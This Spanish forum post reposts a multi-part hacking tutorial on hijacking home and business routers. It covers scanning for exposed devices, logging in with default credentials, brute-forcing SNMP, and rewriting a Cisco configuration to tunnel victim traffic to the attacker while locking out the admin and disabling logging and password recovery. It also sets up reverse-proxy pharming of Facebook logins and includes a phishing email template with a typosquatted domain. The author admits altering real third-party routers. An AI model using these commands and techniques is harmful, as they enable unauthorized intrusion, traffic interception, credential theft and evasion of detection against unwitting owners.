Taller Vic_Thor: ¿Y tras el router qué?

ChimoC · 30 Octubre 2010, 13:25 PM

Buenas:

Os pongo un copy paste de un excelente trabajo de Vic_Thor

PARTE I

Y tras el router... Qué?

Bueno... esto no es que sea del todo muy, bueno... ya me entendéis.

En este hilo preguntaba nuestro compañero jochy "Cómo atacar desde el router" http://www.wadalbertia.org/foro/viewtopic.php?f=4&t=5993

Bueno, pues la gente responde que si Upnp, que si hacer nat, que si meter un host a la DMZ, etc, etc...

Todas ellas son válidas, por supuesto, pero vamos a dar un par de pasos mas.

El primero, por qué no redirigir el DNS???

Pues claro!!! Si ya tenemos acceso al router podemos enviar las peticiones de los legítimos clientes de la LAN a un DNS bajo control del atacante, luego éste puede responder con las resoluciones que mas interese... con lo cual eso del pharming, phising, etc, está servido.

De hecho, se pueden hacer auténticas "diabluras" y con poco "esfuerzo" por parte del atacante. Si el "atacante" además de simplemente sustituir la resolución de nombres por las falsificadas está un poco espabilado, puede juguetear con proxys inversos de tal forma, que además de soplarle las contraseñas de autenticación tipo Facebook, foros, etc... no tiene ni porque "falsear" la web auténtica.. ni hacer complicadas páginas que "parezcan" iguales a las originales, sencillamente puede hacer pasar por su máquina todo lo que se le antoje.

Interesante, no?? Pues eso para otro post, que en este toca otra cosa...

En el hilo que anteriormente mencionaba, el de jochy, respondí algo así:

Citar"Si tienes acceso al router (a su configuración) y si es un router "majo" puedes hasta crear un túnel (incluso vpn) con otro router de internet... puedes hacer pasar TODO el tráfico de esa lan por tu ordenador (tu sabrás lo que haces luego con eso) y/o si configuras una vpn, pues eso... que como si estuvieses sentadito en esa red.
....
...."

Esa respuesta tiene dos vertientes:

1.- Hacer pasar el tráfico de esa red por tu lan
2.- Crear un túnel y/o VPN para conectarte a esa Lan desde tu PC.

En este post tratamos sólo el caso 2 (que ya es bastante) y también dejaremos el caso 1 para otro momento.... Así que por ahora tenemos pendiente el tema de los DNS y del enrutamiento hacia la máquina del atacante que podríamos llamarlo algo así como "esnifar desde Internet"

Como todo en la vida lo que vamos a realizar requiere de algunos conocimientos (pocos) para por lo menos saber lo que estamos haciendo y también de las herramientas necesarias.

Para "manipular" el router remoto y acceder a la lan que protege necesitamos:

a.- Acceder al router como administrador
b.- Que el router permita la creación de túneles y/o VPN
c.- Que el atacante disponga de un router que permita lo mismo y/o usar clientes de conexión VPN

Lo mas sencillo sería que el atacante utilice un router idéntico al de la víctima, por supuestísismo que esto no es obligatorio, pero simplifica las cosas si queremos crear (por ejemplo) un túnel sitio-a-sitio (obviamente el atacante ya se asegurará de bloquear las conexiones que inicien los clientes-víctima hacia su propia LAN y permitir sólo las que inicie él)

Lamentablemente Internet está lleno de routers expuestos a este tipo de ataques... principalmente porque los colocan así como vienen de fábrica y no se preocupan o no saben ni cambiar el pass de acceso, por ello hay que ser "legales" y tomar este documento como un estudio y no como un arma.

Por ejemplo, supongamos que tenemos un router BT Voyager, SAR110-130, etc..., NetGear DM600, DLink RTA o cualquiera de esos GlobeSpanVirata o Viking.

Buscar "indefensos" propietarios de esos routers en Internet es juego de niños, basta con ir a Google, buscar en foros, blogs, etc... y los encontramos sin mas.

Veamos un ejemplo... Supongamos que queremos encontrar uno de ellos, (como "novedad" lo vamos a ver en un vídeo)

http://free.7host05.com/verolulu/vpnswf/Buscador1.swf

Como ves, acabamos de encontrar (Google lo encontró) unas cuantas entradas...

Escogí la segunda esa que pone login, en ella vemos una ip, así que vamos escanear el rango de ip's que nos mostraba Google.

Para ello podemos usar cualquier escáner, yo escogí superscan que es muy rápido y sólo los puertos 80, 23 y 8080... tras unos pocos intentos... lo encontramos:

http://free.7host05.com/verolulu/vpnswf/Superscan.swf

En el vídeo vemos que se trata de un router GS8100, por lo que vamos a necesitar ls documentación del mismo para poder crear el túnel.

Este tipo de Routers basados en GlobeSpanVirata no permiten la configuración de túneles y vpn por el interface web, toca hacerlo por línea de comandos.

Así que buscamos la documentación:

http://free.7host05.com/verolulu/vpnswf/Buscador2.swf

Vale, ya tenemos el manual y todo...

Para crear un tunel L2TP entre ese router y el nuestro tendríamos que poner algo así:

Código [Seleccionar]

$create l2tp tunnel config ifname l2t-0 localip 190.42.42.236 remoteip 88.6.15.2 localhostname RASCA remotehostname PICA start initiator remote

donde localip es la direccion ip de "la víctima" y remoteip es la direccion ip del atacante.

Obviamente el atacante, debería también configurar su router "dando la vuelta" a los parámetros...

Código [Seleccionar]

$create l2tp tunnel config ifname l2t-0 localip 88.6.15.2 remoteip 190.42.42.236 localhostname PICA remotehostname RASCA start initiator local

El video:

http://free.7host05.com/verolulu/vpnswf/create.swf

Desgraciada o afortunadamente ese modelo de router no cuenta con el firmware actualizado para implementar túneles y/o VPN, hombre... ya puestos podríamos actualizarle el software al router (cosa que no voy a hacer) pero podría ser así:

http://free.7host05.com/verolulu/vpnswf/Upgrade1.swf

No le actualicé el firmware (por supuesto) aunque a lo mejor le venía hasta bien, jejeje, pero entre otras cosas como tiene ip dinámica después del upgrade hay que reiniciarlo y claro, ya no será la misma Ip y habría que buscarlo de nuevo (cosa que tampoco sería gran problema, pero mejor no tocarlo)

Así que con las mismas, vamos a buscar otros routers "vulnerables" mejor con IP fija y a ser posible que no haya que actualizarles el firmware....

Para esta práctica... pues buscamos lo "fácil" que son los Zyxel de telefónica.

Digo que son los fáciles porque averiguar rangos de ip's estáticas de telefónica es una sencilla consulta en Google o en RIPE, y saber si el router lleva el firmware actualizado basta con ver en las cabeceras de la conexión http algo así como:

Código [Seleccionar]

http/1.1 401 Unautorized.WWW-Autenticate: Basic realm="Prestige 650H/HW-33"...

En este video vemos el scan de esa red... permitidme que distorsione las mismas, son estáticas y ... bueno, por si acaso....

http://free.7host05.com/verolulu/vpnswf/Zyxel.swf

Vale, ya tenemos a nuestro "conejillo de indias", no sé quienes o quienes son, vamos a ver como está ese router, una cosa... como "no quería" que el auténtico propietario del router accediese al mismo mientras "trabajaba" pues simplemente le cambié la contraseña... luego lo dejaré todo como lo encontré.

Además, para crear la VPN va a ser necesario poner la IP o el nombre de dominio del atacante... vamos, que si acceden al router podrán ver nuestros datos... y eso no está bien.

De éste vídeo averiguaremos que:

* La dirección de la LAN que utiliza es 192.168.0.0 255.255.255.0
* La dirección IP del router interna es 192.168.0.1
* No tiene activado el Firewall
* No tiene activado ningún túnel ni VPN
* No tiene reglas internas de firewall
* No tiene reglas externas de firewall
* No hay Logs ni para VPN ni para el firewall
* NAT hacia la dirección 192.168.0.100 para escritorio remoto (puerto 3389 de TCP)

Lógicamente si no tiene el Firewall activado es normal que no disponga de reglas para el mismo y tampoco existan logs

También es lógico que al no existir VPN definidas tampoco existan reglas ni logs de acceso.

Una cosa importante!!!! Que luego volveré a recordar, cuando activemos el cortafuegos que no se nos olvide añadir reglas de permiso desde Internet hacia el router por los puertos 80 y/o 23 puesto que si no lo hacemos así, perderemos la conexión por la web o Telnet con el router...

Lo vemos, entonces...

http://free.7host05.com/verolulu/vpnswf/router1.swf

Bueno, en el siguiente video vamos a habilitar el firewall con las reglas que nos permitan conectarnos mediante un cliente VPN o un router para poder crear el túnel cliente a sitio o sitio a sitio.

También vamos a añadir las reglas necesarias para Telnet y para el puerto 80 de http y bueno... meteremos también icmp para comprobar que está online mediante un ping.

Las reglas del firewall se pueden/deben aplicar desde la LAN a Internet y desde Internet a la LAN, la primera serán los puertos y/o protocolos que permiten a los clientes de la red salir a Internet y la segunda lo contrario, lo que se permite desde Internet a la red local.

También es importante advertir que hasta que el firewall no esté activo ninguna de las reglas se aplican, recordad activar el firewall DESPUES de añadir las reglas o perderéis la conexión.

De momento veamos el vídeo para crear las reglas internas que por defecto le vamos a dejar salir por todos los puertos y protocolos, y las reglas externas que filtramos las conexiones desde Internet únicamente a 80 y 23 de TCP mas lo del ICMP

Como vimos antes, el administrador de este router hizo nat hacia una máquina por el puerto 3389 (Escritorio remoto) pues también crearemos esa regla para que lo pueda seguir haciendo una vez apliquemos las reglas y activemos el cortafuegos.

También podríamos dejar pasar el protocolo DNS, no estaría mal... eso lo haremos luego de otra forma a lo que veremos a continuación

http://free.7host05.com/verolulu/vpnswf/router2.swf

Vale, ahora tocan las reglas de la VPN, en esta ocasión en lugar de crear una regla para cada puerto-protocolo, vamos a agruparlas TODAS en una sola, el efecto es el mismo que si definimos una por una... pero es mas corto... a ello:

http://free.7host05.com/verolulu/vpnswf/router3.swf

Según hemos visto, permitimos IPSEC, GRE, PPtP, AH e IKE, no es preciso que estén todos ellos, depende de la vpn que deseemos crear, en nuestro caso no sobrarían GRE y PPtP, pero bueno... por si acaso me/nos da por crear un túnel "versus RRAS de Windows Server" (este utiliza PPtP 1723 de TCP) o por si nos da por un Cisco con GRE... vamos que ya lo tenemos.

También habréis notado que habilité los logs para en las reglas del firewall para la VPN, esto lo hago por si acaso hay algún problema en la conexión poder ver los mensajes de error, por ejemplo problemas de autenticación, apertura del túnel, etc...

Nos faltaría activar el firewall y crear la VPN, ahora lo hacemos:

http://free.7host05.com/verolulu/vpnswf/router4.swf

Antes de configurar la VPN hay que saber la configuración del atacante, es decir, de mi equipo, router, ip's...

http://free.7host05.com/verolulu/vpnswf/Ataca1.swf

Resumiendo, configuración LOCAL del atacante:

Código [Seleccionar]

IP: 172.28.1.48 255.255.255.0
IP Interna del Router: 172.28.1.10
IP Pública del Router: 83.60.158.126

La configuración de la Víctima:

Código [Seleccionar]

RED: 192.168.0.0 255.255.255.0
IP interna del router: 192.168.0.1
IP Pública del router: xxx.xxx.xxx.xxx (ya sabéis por qué no la pongo...)

Esto (o parte de esto) hay que ponerlo en la configuración de la VPN, vamos...

http://free.7host05.com/verolulu/vpnswf/router5.swf

Vale, pues ya tenemos la VPN creada, ahora sólo hay que "probar"

Necesitamos un cliente VPN y configurarlo con los parámetros del servidor VPN, nos vamos a descargar uno cualquiera (el vpn client de cisco mejor no que tiene sus particularidades...) yo escogí este:

TheGreenBow vpn client, lo podemos bajar de aquí:

http://www.thegreenbow.fr/cgi-bin/thegreenbow_vpn_client.exe?EN

La instalación es como las de siempre... siguiente, siguiente, .... Y finalizar.

Eso si, es MUY IMPORTANTE que tras la instalación del cliente vpn REINICIES el equipo o no funcionará.

Ahora veamos esto, lo primero que hay que hacer es ELIMINAR toda la configuración inicial y crear la nuestra propia....

http://free.7host05.com/verolulu/vpnswf/router6.swf

Y tras eso, pues bueno... podemos escanear la red 192.168.0.0 en busca de equipos, recursos compartidos, etc...

Pues eso, que espero que haya sido "instructivo" y que lo disfrutéis... pero... hombre, no pensarás que te vas a escapar de la "carga teórica", eh!!

Recuerdo que hace años puse unos pdfs de VPN, no sé si aquí o en el extinto HxC, pero bueno, vamos a hacer un repaso rápido a la VPN de esta práctica, pero como no me lo permite el sueeeeñoooo que tengo lo haré a lo largo de la semana.

ChimoC · 30 Octubre 2010, 13:27 PM

SEGUNDA PARTE

En este post vamos a escenificar cómo crear un túnel entre el router "víctima" y el router del atacante tal y como "se prometió" en su día y hacer pasar todo el tráfico (o sólo el que nos interese) por ese túnel para que el supuesto atacante capture los datos.

Se supone que conocemos la ip pública de la víctima, o bien, hemos realizado un scan + OSFingerprinting de una ip o rango de ip's.

Concretamente vamos a buscar routers cisco, que son más fáciles de crear los túneles que en otros... aunque parezca mentira.

También puede ocurrir que ya sepamos de antemano que determinada ip/red utiliza este tipo de routers.

Una vez localizada la IP, como es mi caso, nos hacemos un pequeño gráfico de cómo es la cosa:

Por el momento sólo conocemos la IP pública de nuestra víctima: 193.251.1.17

Y nuestros datos, claro....

Vale, pues seguimos suponiendo... podríamos probar los password y usuarios por defecto, podríamos lanzar un ataque por diccionario, o también.... Lo que vamos a realizar.

Vamos a intentarlo, no vaya ser que por una de esas casualidades de la vida (que no es tan casual, mas bien en muy habitual) tiene activado la administración por SNMP.

El protocolo SNMP puede permitir a los administradores gestionar los dispositivos, y ciertamente, muchos de los routers, Webcams, etc... que hay desperdigados por Internet tienen habilitado ese protocolo, en muchas ocasiones (mas de las que deberían ser) los propietarios de esos "aparatos" se limitan a utilizar una comunidad privada y no dotan de seguridad al protocolo SNMP, mejor dicho, al servicio SNMP.

Es bastante habitual encontrarnos comunidades "public" de sólo lectura (RO) y comunidades privadas (la-que-sea) de lectura-escritura (RW)

Tanto si es de sólo lectura o de lectura-escritura, los datos que arrojan de verdad que asustan... podemos ver la configuración "casi total" del router, en este caso.

Veremos sus interfaces, ips, tablas de enrutamiento, incluso hasta las reglas y filtros aplicados, vamos... un peligro.

Para llevar a cabo este "ataque" debemos ser capaces de "cambiar" la configuración del router, es decir, o sabemos la contraseña y/o usuario de acceso, o podemos "tirar" del servicio SNMP si está habilitado (y mal configurado),

Vamos a usar este segundo apartado, SNMP. Y para que podamos modificar su configuración es preciso encontrar una comunidad SNMP de lectura-escritura, no nos vale la de sólo lectura... queremos modificar.

Pues venga... a ello... ya hemos dicho que "de la forma que sea" conocemos que la IP 193.251.1.17 es de un router cisco, y antes de liarnos con el tema SNMP probaremos unas cuantas contraseñas de acceso (las típicas por defecto)

http://free.7host05.com/verolulu/videosnmp/video01.swf

Pues no hemos tenido suerte... vamos a ver si SNMP está funcionando....

http://free.7host05.com/verolulu/videosnmp/video02.swf

Correcto! SNMP aparece como Abierto-Filtrado y aparentemente debe estar "por detrás" funcionando el servicio.

Ahora debemos probar si eso que aparecía en el vídeo anterior era un falso positivo o si de verdad existe ese servicio corriendo en el router... probemos con alguna de las herramientas para la enumeración SNMP.

http://free.7host05.com/verolulu/videosnmp/video03.swf

Hombre... como ves hay mucha información... claro que he probado con la comunidad public que habitualmente está....

Pero...

y si no sabemos que comunidades están definidas?

Y si la comunidad public es de sólo lectura?

Pues vamos a realizar un ataque por diccionario al servicio SNMP y con suerte... lo tendremos.

Vamos al vídeo:

http://free.7host05.com/verolulu/videosnmp/video04.swf

He usado metasploit Framework.... Hay otras muchas posibilidades pero esta es sencilla y efectiva.

Como has visto en el vídeo, se usa un diccionario, obviamente puedes/debes usar "otro" más completo, pero con este nos sirvió por el momento...

Descubrimos que existen dos comunidades una que se llama public y otra que se llama empresa.

Ahora vamos a comprobar si alguna de ellas es de lectura-escritura

http://free.7host05.com/verolulu/videosnmp/video05.swf

Listo!!! Ya tenemos el nombre de la comunidad con permisos de lectura-escritura.

Ahora ya podemos (o intentaremos) descargarnos la configuración del router víctima a nuestro PC, luego la modificaremos para crear el tunel, y por último se la subiremos de nuevo a la vícitma.

Cómo??? Pues mediante TFTP.

Por defecto todos los routers cisco traen habilitado el cliente TFTP para poder actualizar tanto la IOS (El Sistema operativo) como el archivo de configuración... Lo único que tenemos que hacer es poner en marcha un servidor TFTP en nuestro equipo y "traer o llevar los archivos"

Podríamos hacerlo "a mano" recorriendo la MIB y modificando los valores para copiar lo que nos interese... pero estos chicos de Backtrack han pensado en todo y ya nos incorporan el programita que lo hace por nosotros.

Lo único que tenemos que hacer es permitir en nuestro router que "pase" el protocolo TFTP hacia nuestro PC. Como eso es de nuestra propiedad lo podemos hacer sin mas.

Lo que debemos saber es nuestra IP pública (86.32.4.51) el puerto que usa TFTP (69 de udp) y la máquina que corre el servidor (172.28.0.66) y con esto, hacemos NAT en nuestro router...

http://free.7host05.com/verolulu/videosnmp/video06.swf

Una vez hecho el "mapeo" de puertos hacia la máquina local del atacante, vamos a lanzar el programa para obtener el tan ansiado archivo de configuración

http://free.7host05.com/verolulu/videosnmp/video07.swf

Pues ya lo tenemos... ahora hay que configurarlo.... Lo que vamos a hacer es esto:

CREAR EL TUNEL

Código [Seleccionar]


	interface Tunnel0
		ip address 192.268.200.1 255.255.255.0
		ip nat inside
		tunnel source 193.251.1.17
		tunnel destination 86.32.4.51

Creamos una interface virtual del túnel con IP 192.168.200.1, hacemos nat interno en esta interface, y le decimos que el origen del tunel es la IP pública de la víctima y que el destino del túnel es la IP pública del atacante.

Estarás pensando que esto "es arriesgado" puesto que si el admin. de la víctima "mira" el archivo de configuración nos pilla... pues sip-.—pero esto lo arreglaremos después

CREAR UNA LISTA DE ACCESO QUE PERMITA PASAR EL TRÁFICO QUE NOS INTERESE. EN NUESTRO CASO TODO EL TRÁFICO.

Código [Seleccionar]

access-list 166 permit ip any any

A esto sin comentarios... eso que pase TODO

CREAR UNA NUEVA RUTA ESTÁTICA PARA PODERNOS COMUNICAR LAN-to-LAN

Código [Seleccionar]

ip route 172.28.0.0 255.255.255.0 192.168.200.2

Con esto le indicamos al router que para ir "a la red del atacante" debe hacerlo por la IP 192.168.200.2

Y esa IP??? De quien es??? Pues obviamente en el router del atacante debemos crear "el otro extremo del túnel" y lógicamente pondremos que la ip es 192.168.200.2.

Y haremos algo parecido... ip route 192.168.1.0 255.255.255.0 192.168.200.1

Es decir, la comunicación entre las dos redes locales se hace por la interface del tunel del otro extremo.

Obviamente, el atacante, tendrá que tomar "sus precauciones" para que el tráfico hacia su red iniciado por los equipos de la red vícitma sea denegado y que sólo permita la entrada de aquello que el atacante haya iniciado... porque sino.... El cazador cazado.

CREAR UN MAPA DE RUTEO

Código [Seleccionar]


	route-map enviar permit 10
		match ip address 166
		set ip next-hop 192.168.200.2

Veamos, creamos una "mapa de rutas" y le asignamos el nombre enviar (puede ser cualquier otro, claro) con número 10 (esto no es importante, pero que no esté repetido) y le decimos que permita (permit) aquello que diga la lista de acceso 166 (recuerda que era TODO) y... esto es importante... el tráfico será desviado a la IP 192.168.200.2

Por sí mismo el comando route-map "no hace nada", nada hasta que se aplica a una interface determinada mediante otro comando llamado ip policy route-map que aplica las políticas de enrutamiento a la interface adecuada.

Una cosa IMPORTANTE acerca del comando ip policy route-map

En los routers CISCO las políticas de enrutamiento se aplican sobre una interface... eso ya lo dije, pero sólo tienen efecto en el tráfico de ENTRADA!!!!!

Es decir, si aplicamos el comando ip policy route-map enviar sobre la interface pública... que ocurrirá???

Pues que si todo es como lo explicado, el tráfico de entrada a esta interface se reenviará por el túnel al atacante...dicho de otro modo... imagina que un equipo de esa red navega hacia el foro de Wadalbertia... ¿qué recogerá el esnifer del atacante? Pues el tráfico que envíe el Server de wadalbertia y no el tráfico que sale de la red de la víctima.

Si por el contrario esa politica de rutas la aplicamos en la interface privada de la red de la víctima, el esnifer del atacante recibirá las peticiones de esa red pero no las respuestas.

Obviamente... las aplicamos en las dos interfaces y ya está, no? Así podremos recibir el tráfico de entrada y de salida, verdad?

Bueno, pues sí y no... dependerá también del otro extremo (el del atacante) puesto que éste tendrá que reenviar ya sean las respuestas o las peticiones...

En este ejemplo lo haremos únicamente para el tráfico que sale de la red vícitima hacia Internet... ya te dejo para ti el resto.... Con esto podremos, por ejemplo, cazar contraseñas, etc... ya lo veremos, pues eso el siguiente paso será:

APLICAR ROUTE-MAP SOBRE LA INTERFACE ADECUADA

Código [Seleccionar]

Interface FastEthernet1/0
		ip policy route-map enviar

Obviamente, la interface f1/0 es la interface Ethernet (FastEthernet) que conecta la red privada al router.

CAMBIAR LA CONTRASEÑA DE ADMINISTRACIÓN y MASSSSSS

Código [Seleccionar]

enable secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
	username admin secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
	no logging 192.168.1.88
	no snmp-server community public RO
	no snmp-server community empresa RW
	no service password-recovery

a ver... primero esto de: $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0 no es otra cosa que una nueva contraseña... en este caso papito:30-60-90

y lo que hacemos es cambiar la contraseña de acceso al router del modo privilegiado (la del administrador) por esa nueva (así el verdadero admin. no podrá ver el túnel)

También aplicamos la misma contraseña a la base de datos local que usaba TELNET (de ese modo tampoco podrá acceder por Telnet al router)

Al echar un vistazo a la configuración original del router, encontramos una línea que dice logging 192.168.1.88 eso no es bueno... eso quiere decir que "aparentemente" existe una máquina en esa red (la 192.168.1.88) que actúa como syslog y recogerá alertas, alarmas, etc... si es así... nos habrán pillado... por tanto si no estamos muy seguros... casi sería mejor dejarlo aquí... pero bueno.. quedáis advertidos.

El caso es que deshabilitamos el envío de logs al servidor.

Desactivamos snmp (mediante las líneas no snmp etc....) de es modo tampoco podrá administrar el router vía snmp (y así no podrá ver el tunel)

Aunque pensándolo mejor, esto no lo haremos ahora... puesto que si nos falla algo... y desactivamos snmp.... pues no podremos volver a copiar la configuración... mejor no lo haremos... luego.... mas tarde....

Y la última... la última es una "maldad"

Los routers cisco disponen de un mecanismo de recuperación de contraseñas "de emergencia" sin perder el archivo de configuración, de ese modo si el admin. "pierde" la contraseña, se le olvida (o se la cambian como es este caso), puede iniciar ese procedimiento de emergencia, y si lo hace... pondrá la contraseña que el quiera y podrá ver nuestra querida ip del tunel... y nos habrá pillado.

Bueno, pues con esa línea: no service password-recovery, si el admin. intenta el procedimiento de recuperación de contraseñas.... Pues PERDERÁ el archivo de configuración y por tanto (además de tener que reconfigurar el router) no podrá ver lo que le hicimos.

Claro... esto último no tiene sentido si no "salvamos" el archivo de configuración en el router victima... de momento todo esto que estamos haciendo tendrá validez mientras no reinicien el router... si lo reinician... pues se pierde todo y como si nada... aquí no pasó nada... También nos ocuparemos de eso... o no... depende....

Bien, creo que no me dejo nada... veamos el vídeo que pone en marcha todo esto: (recordad que ya tenemos en nuestro poder el archivo de configuración)

En este vídeo suponemos que ya hemos escrito todos esos comandos en el archivo de configuración (para no alargar mucho el vídeo) tan sólo vamos a ver en el vídeo la comprobación que todo está como se explicó anteriormente.

http://free.7host05.com/verolulu/videosnmp/video08.swf

ya hemos visto en el vídeo que se aplicaron todas esas modificaciones ya comentadas... y alguna mas como el nombre del router, el banner de bienvenida, desactivar los mensajes de tiempos y marcas horarias.

Ahora nos queda "subirlo" al router víctima

http://free.7host05.com/verolulu/videosnmp/video09.swf

Bueno... parece que dio un error, lo explico.

Si el atacante hubiese creado el túnel apropiadamente no tendría que dar tal error... recuerdas lo del ip policy????

Pues claro, como lo aplicamos... recibimos sus peticiones pero no las respuestas... pero debería haber funcionado OK-

Para comprobarlo... pues como "sabemos" la contraseña (la hemos creado "al gusto") que es papito:30-60-90 podremos hacer Telnet al router...

A ver si es cierto y de paso... cambiaremos el nombre de las comunidades (para que no pueda acceder por SNMP el admin del router) y si queremos (si hemos activado no service password-recovery) pues podríamos guardar definitivamente la configuración y así disponer del túnel de forma indefinida....

Esto último no lo haré... bueno sí lo haré pero NO DEBERÍA hacerlo puesto que esta IOS no permite ese comando... lo vamos a ver en el vídeo.

También cambiaré la base de datos local para no tener que escribir "dos veces" la famosa contraseña... crearé un usuario llamado Vic_Thor con contraseña mitesoro con privilegios administrativos.

http://free.7host05.com/verolulu/videosnmp/video10.swf

Como has visto en el vídeo este router no nos permite el comando service password-recovery, por tanto no habría sido conveniente el guardar la configuración... se hizo... mal hecho, desde luego.

Bien, ahora toca configurar el router del atacante...que dispone también de un router CISCO (nada mejor para "juankear" un Cisco que otro Cisco)

Prácticamente es todo igual, excepto algunas cosillas, por ejemplo que el route-map NO debe ir hacia la red de la victima (a menos que quieras convertirte en víctima y verdugo) debe "apuntar" hacia una máquina del atacante y que ésta reenvie el tráfico.

Por lo demás, es muy, muy parecido... a ello:

ojo!! este vídeo se para... algo hice mal.... así que cuando se pare, le dais de nuevo al play para que siga

http://free.7host05.com/verolulu/videosnmp/video11.swf

Como has visto es "casi lo mismo" crear el tunel, la lista de acceso, el mapa de rutas, etc... Solo que en esta ocasión en lugar de aplicar la politica de ruteo en la interface privada o pública lo hacemos sobre la interface de tunnel y por supuesto, el siguiente salto será la máquina que corre el esnifer... luego desde esa máquina reenviaremos el tráfico.

También advierte que los parámetros cambian, donde antes era el destino ahora es el origen y viceversa. Veamos lo que hay que hacer en la máquina del atacante y después probaremos....

http://free.7host05.com/verolulu/videosnmp/video12.swf

Y ahora probamos.... Un Windows de la red vícitma accede a google.....

http://free.7host05.com/verolulu/videosnmp/video13.swf

Y por último... vamos a ver si cazamos algo "interesante"

Supongamos que la víctima accede a wadalbertia... y se identifica en el foro.... Conseguiremos la contraseña???

Pues como muestra....

http://free.7host05.com/verolulu/videosnmp/video14.swf

Pues eso... creo que por hoy también vale ya....

PD: Como veras... las ips publicas son verdaderas... o no.... Jejeje, no las busques que no están disponibles, todo esto es real...pero todo está virtualizado, por ello no fue preciso en esta ocasión "difuminar" a víctimas y atacantes, los routers "reales" no son esos.

ChimoC · 30 Octubre 2010, 13:28 PM

TERCERA PARTE

Ok, aunque esto es parte de la "cuarta parte" te adelanto...

La forma mas sencilla es con VirtualHost, bien basado en IP o en ServerName, por ejemplo para IP

Código [Seleccionar]

<VirtualHost xxx.xxx.xxx.xxx:80>
    ServerAdmin pepe@pepito.com
    ServerName pepito.com
    ServerAlias www.pepito.com
    ProxyPass / http://www.manolo.com/
    ProxyPassReverse / http://www.manolo.com/
</VirtualHost>

Código [Seleccionar]

<VirtualHost xxx.xxx.xxx.xxx:80>
    ServerAdmin anita@ana.com
    ServerName ana.com
    ServerAlias www.ana.com
    ProxyPass / http://www.maripili.com/
    ProxyPassReverse / http://www.maripili.com/
</VirtualHost>

y así los que gustes...

También puedes cambiar puertos o definir las xxx.xxx.xxx.xxx como el nombre de dominio

Código [Seleccionar]

<VirtualHost gamberros.com:8080>
    ServerAdmin badboy@gamberros.com
    ServerName gamberros.com
    ServerAlias www.gamberros.com
    ProxyPass / http://www.chicosbuenos.com:80/
    ProxyPassReverse / http://www.chicosbuenos.com:80/
</VirtualHost>

al grano.... imagina... por ejemplo facebook

cuando accedes a facebook (normalmente) se hace mediante http://www.facebook.com por el puerto 80, y cuando te registras... pues te dirige a https://login.facebook.com (ojo que es https)

pues entre otras cosas necesitarás algo así:

Código [Seleccionar]

NameVirtualHost www.facebook.com
<VirtualHost www.facebook.com:80>
    .....
    .....
    ServerAlias www.facebook.com
    ProxyPass / http://www.lo-que-sea.com/
    ProxyPassReverse / http://www.lo-que-sea.com/
</VirtualHost>

Código [Seleccionar]

NameVirtualHost login.facebook.com
<VirtualHost login.facebook.com:443>
    .....
    .....
    ServerAlias login.facebook.com
    ProxyPass / https://www.lo-que-sea.com/
    ProxyPassReverse / https://www.lo-que-sea.com/
</VirtualHost>

Bueno... esto no es del todo operativo... pero es que hay que esperar a la parte IV.

Es mas... si avanzamos "otro paso" (seguro que mas de uno ya se dio cuenta) NO HACE FALTA manipular el router víctima!!!!

Supongamos este caso: Picardía + un poco de suerte... o ese nombre tan rimbombante de "ingeniería social"

Imagina que un "atacante" tiene registrado el dominio wadalbetia.org (fíjate que falta la "r" de wadalbertia... vamos un nombre muy parecidito...

Es mas... por ejemplo el dominio wadalbertia.com actualmente no está registrado... pongamos que lo registra un "malhechor"

Si por ejemplo conoces a el mail de un user de este foro y le envías un correo de esos falsos...

"Dr. Wadalberto Informa:

Estimado usuario a partir de este momento ya puedes acceder a nuestros foros desde http://www.wadalbertia.com siendo este otro dominio conquistado por las huestes de estas tierras.

Esperamos que sea de tu agrado esta gran noticia y pedimos tu colaboración para que en futuras ocasiones utilices dicho dominio, te rogamos compruebes su disponibilidad de acceso.

Recuerda: http://www.wadalbertia.com es ahora nuestro foro.

Accede y escribenos!!!

Saludos!"

O simplemente le envias un correo de esos que dicen que tienes un nuevo mensaje en tu bandeja de entrada y le pones como enlace http://www.wadalbetia.org (repito lo de la "r")

Pues si configuras el ProxyPass y ProxyPassReverse adecuadamente... pasará por tu linda máquina

Otras fórmulas válidas es eso de usar minilink o tinnylink y postearlo en el foro..., o también, esas cosas de: bla, bla, bla pulsa aqui o aqui

(si pulsáis dará error, claro... espero que no haya nadie jugando "sucio")

En fin... que ya vendrá el resto....

ChimoC · 30 Octubre 2010, 13:30 PM

CUARTA PARTE

En esta ocasión tampoco usaremos túneles ni VPN's,. nos vamos a seguir aprovechando de la redirección de los DNS de la víctima que apuntarán a la/las máquinas que determine el atacante... Sólo que ahora vamos a trabajar con "otras" herramientas y con "otros" conceptos. Concretamente nos vamos a centrar en SSL (las comunicaciones seguras por Internet), seguiremos utilizando Reverse Proxy y lo combinaremos con SSLDump, con SSLStrip, con DNScat, DNSlogger (una versión "modificada" por este siervo de Wadalbertia que nos hará la vida mas fácil para implementar los ataques) , crearemos los certificados de seguridad necesarios, etc, etc.. y con el mismo objetivo... capturar las contraseña de acceso "seguras" hacia webs del tipo paypal, Facebook, correo tipo yahoo... y por qué no... entidades bancarias???

Configuración de la Red Víctima:

Asumimos que los servidores DNS de la/las máquinas de la red víctima apuntan a alguna máquina bajo el control del atacante... esto ya lo tenemos desde la partes anteriores, lo que tenemos que hacer es configurar ese router comprometido y colocar como DNS Primario la IP pública del atacante o si se dispone de un dominio registrado en Internet bajo control... pues eso,

Para todo este ejemplo, la configuración de la red víctima es:

Código [Seleccionar]

IP Pública: 193.251.1.17
IP's Privadas: 192.168.1.x/24 (esto ciertamente no nos "interesa" en esta ocasión)
DNS Primario: 86.32.4.51 (que es la ip pública del atacante)
DNS Secundario y otros... cualquiera de los públicos de Internet. 195.235.113.3, 80.58.0.33, etc...

Es MUY IMPORTANTE que existan otras entradas DNS que no estén en poder del atacante puesto que lo que vamos a hacer en esta parte es configurar nuestro sistema para que resuelva los dominios y/o host de Internet que nos interese... aquellos que no nos interesen... que lo resuelvan los DNS Públicos.. así no "nos cargamos" con exceso de trabajo y además... si "nos desconectamos" de la red, los equipos víctima seguirán tan felices y contentos sin "notar nada".

Configuración del lado del Atacante:

Código [Seleccionar]

IP Pública: 86.32.4.51
IP's Privadas: 172.28.0.0/24
Máquina atacante: 172.28.0.66 /24
Puerta enlace: 172.28.0.254
DNS's: 195.235.113.3 80.58.0.33

El Router del atacante hace NAT de los puertos 53 UDP, 80 y 443 TCP hacia la máquina del atacante (172.28.0.66)

